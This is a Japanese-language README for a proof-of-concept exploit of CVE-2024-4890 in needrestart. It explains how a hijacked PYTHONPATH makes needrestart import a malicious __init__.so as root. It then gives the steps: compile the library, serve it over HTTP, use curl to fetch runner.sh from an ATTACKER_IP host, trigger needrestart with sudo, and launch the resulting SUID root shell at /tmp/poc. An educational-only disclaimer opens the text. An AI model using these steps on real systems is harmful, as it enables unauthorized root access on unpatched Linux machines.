
ラボ専用の管理された環境でのみ使用してください。明示的な許可なく本番システムで悪用しないでください。このPoCは教育目的のみです。著者は誤用や不正アクセスについて一切責任を負いません。
CVE-2024-4890 は、needrestart(バージョン 3.8 以降)における重大な脆弱性であり、昇格した特権で任意のコード実行を可能にします。この問題は、プロセススキャン中の環境変数と設定ファイルの安全でない処理に起因します。
具体的には、sudo 付きで実行されると、needrestart は実行中の Python プロセスを検査し、その PYTHONPATH 環境変数も含まれます。攻撃者は、管理下のディレクトリ(例: /tmp/attacker)を指すカスタム PYTHONPATH を設定することでこれを乗っ取ることができます。このディレクトリ内には、悪意のあるモジュール(__init__.so)が偽の importlib 構造内に配置されます。needrestart がライブラリを確認するために root としてそれをインポートしようとすると、ペイロードが実行され、root アクセスが付与されます。
この PoC は、おとりの Python プロセス、悪意のある共有ライブラリ(C からコンパイル)、自動化スクリプトを介してエクスプロイトを実証します。
needrestart >= 3.8 とそれへの sudo アクセスを備えた Linux システム。gcc(コンパイル用)、curl、python3。これらをターゲットマシンの /tmp/attacker に配置します。
e.py: おとりの Python スクリプト(ループで実行され、ペイロードの成功を待ちます)。runner.sh: おとりをセットアップしてトリガーする自動化スクリプト。lib.c を __init__.so にコンパイルし、ホストします:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
ターゲットマシン(被害者):
/tmp/attacker ディレクトリを作成します。main.py をコピーします。runner.sh をダウンロードして実行可能にします:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
1 つのターミナルでセットアップを実行します:
cd /tmp/attacker && ./runner.sh
これにより、悪意のあるモジュール、おとりスクリプトが作成され、乗っ取られた Python プロセスが起動します。
sudo /usr/sbin/needrestartneedrestart はおとりプロセスを検出し、PYTHONPATH を読み取り、悪意のある __init__.so を root としてインポートします — ペイロードを実行します。
runner.sh ターミナルに戻る):/tmp/poc(ペイロードによって作成された SUID root シェル)を検出し、root シェルを起動します:
sudo /tmp/poc -p
クリーンアップ: rm -rf /tmp/attacker /tmp/poc(および追加された sudoers エントリを削除)。成功の指標: whoami が root を表示するか、id が uid=0(root) を表示します。